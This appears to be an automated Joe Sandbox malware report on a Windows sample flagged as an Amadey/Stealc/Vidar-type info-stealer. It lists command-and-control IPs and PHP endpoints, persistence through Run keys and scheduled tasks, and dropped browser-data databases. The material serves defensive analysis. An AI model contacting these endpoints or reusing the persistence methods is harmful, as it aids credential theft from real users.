185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483424
Start date and time:	2024-07-27 12:00:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@47/54@32/10
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 61% Number of executed functions: 83 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 20.42.73.29, 13.89.179.12, 50.112.139.120, 44.238.205.197, 52.36.33.58, 34.107.243.93
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, fs.microsoft.com, shavar.prod.mozaws.net, autopush.prod.mozaws.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com, location.services.mozilla.com
Execution Graph export aborted for target RoamingIJEGHJECFC.exe, PID 3276 because it is empty
Execution Graph export aborted for target userAAKKKEBFCG.exe, PID 2436 because it is empty
Execution Graph export aborted for target explorti.exe, PID 3576 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:01:48	API Interceptor	4x Sleep call for process: WerFault.exe modified
06:02:01	API Interceptor	89717x Sleep call for process: explorti.exe modified
06:02:02	API Interceptor	241942x Sleep call for process: axplong.exe modified
06:02:42	API Interceptor	118x Sleep call for process: 8e8f4571c5.exe modified
06:03:02	API Interceptor	1x Sleep call for process: firefox.exe modified
12:01:24	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
12:01:27	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
12:02:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9fa327eb6c.exe C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe
12:02:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8e8f4571c5.exe C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe
12:02:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9fa327eb6c.exe C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe
12:02:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8e8f4571c5.exe C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
85.28.47.31	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	bz26PMiPmP.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	joom.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	CqFFuklrhj.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
185.215.113.19	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	f3wrBtIYXx.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	93.184.215.14
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
us-west1.prod.sumo.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Unknown	Browse	34.149.128.2
	file.exe	Get hash	malicious	Unknown	Browse	34.149.128.2
	file.exe	Get hash	malicious	Unknown	Browse	34.149.128.2
	file.exe	Get hash	malicious	Unknown	Browse	34.149.128.2
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.149.128.2
	file.exe	Get hash	malicious	Unknown	Browse	34.149.128.2
	file.exe	Get hash	malicious	Unknown	Browse	34.149.128.2
	file.exe	Get hash	malicious	Unknown	Browse	34.149.128.2
	file.exe	Get hash	malicious	Babadeda	Browse	34.149.128.2
	file.exe	Get hash	malicious	Babadeda	Browse	34.149.128.2
ipv4only.arpa	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.0.0.171
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.0.0.170
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.0.0.171
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
prod.ads.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	d34e1p5zD2.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	Mu7iyblZk8.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	d34e1p5zD2.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	Ycj3d5NMhc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
WHOLESALECONNECTIONSNL	9ICG2PuZbG.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	f3wrBtIYXx.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
GES-ASRU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31
	bz26PMiPmP.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.70
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31
	joom.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
WHOLESALECONNECTIONSNL	9ICG2PuZbG.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	f3wrBtIYXx.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CFCBKKKJJJKKEBGDAFIDAAAEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIJEBFCGDAAKFHIDBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIJEBFCGDAAKFHIDBFIDBKFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDBFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBGIDHCAAKEBAKFIIIEBAAEGCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDHCAAKECFIDHIEBAKFCGCFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJDGDBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECFBKFHCAEHJJKEGDGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFBAAEHCFHJJKEHJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_9fa327eb6c.exe_4989181adf3d1e0c32470a268396c5d8c8829f2_edf01a57_0daf4495-35f8-4d2e-a9ff-2955f93be9cb\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9706000306109653
Encrypted:	false
SSDEEP:	192:jHEHmthF+0AwsFNjEhZrMZ1zuiFqZ24IO8y:LkmthFlAwsFNjb7zuiFqY4IO8y
MD5:	822F37B972A767CEAD324267609EE85B
SHA1:	2FEB6D1D7A347C2568140877083D5145DDBC4107
SHA-256:	3EACC93C0F96F799F93A3785DB5A006D3FA245AAD84B9DBBCDC666CD99CCC589
SHA-512:	FABE1311F4008941FFE4877B888DA14048F6A850C794E8134F288A851757EDBA66E8466E841A7DAF5C62A388AE7BDE2451AC8A4EF081541C4E755FF36D3D1ABC
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.4.8.1.2.7.4.1.8.8.2.8.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.4.8.1.2.7.9.1.8.8.3.1.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.d.a.f.4.4.9.5.-.3.5.f.8.-.4.d.2.e.-.a.9.f.f.-.2.9.5.5.f.9.3.b.e.9.c.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.2.8.4.4.8.4.6.-.f.1.8.3.-.4.1.2.0.-.a.b.f.0.-.e.7.b.5.3.0.c.0.b.f.d.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.f.a.3.2.7.e.b.6.c...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.2.0.-.0.0.0.1.-.0.0.1.4.-.a.f.4.b.-.b.c.0.8.0.c.e.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.d.3.0.0.7.9.f.7.e.b.0.0.b.5.7.4.c.f.4.8.a.c.5.0.2.d.6.4.e.c.0.0.0.0.f.f.f.f.!.0.0.0.0.3.b.1.d.c.2.3.a.3.d.b.6.6.c.a.9.f.9.8.7.4.2.f.3.7.9.f.d.e.8.4.9.a.1.0.3.9.a.6.7.!.9.f.a.3.2.7.e.b.6.c...e.x.e.....T.a.r.g.e.t.A.p.p.

